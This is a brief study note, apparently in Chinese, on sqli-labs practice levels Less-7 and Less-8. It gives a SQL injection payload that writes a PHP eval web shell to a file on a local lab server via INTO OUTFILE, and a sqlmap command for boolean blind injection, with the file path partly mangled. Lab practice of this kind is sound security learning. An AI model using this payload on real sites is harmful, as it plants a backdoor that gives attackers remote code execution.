less-7
https://www.jianshu.com/p/20d1282e6e1d
?id=0’))
union select 1,‘2’,’<?php @eval($_POST["cmd"]);?>’ into outfile ‘D:phpstudyWWWsqliLess-7 est.php’ --+
less-8 盲注 based on bool
盲注用sqlmap或脚本
- sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1
sqlmap 也要跑很久…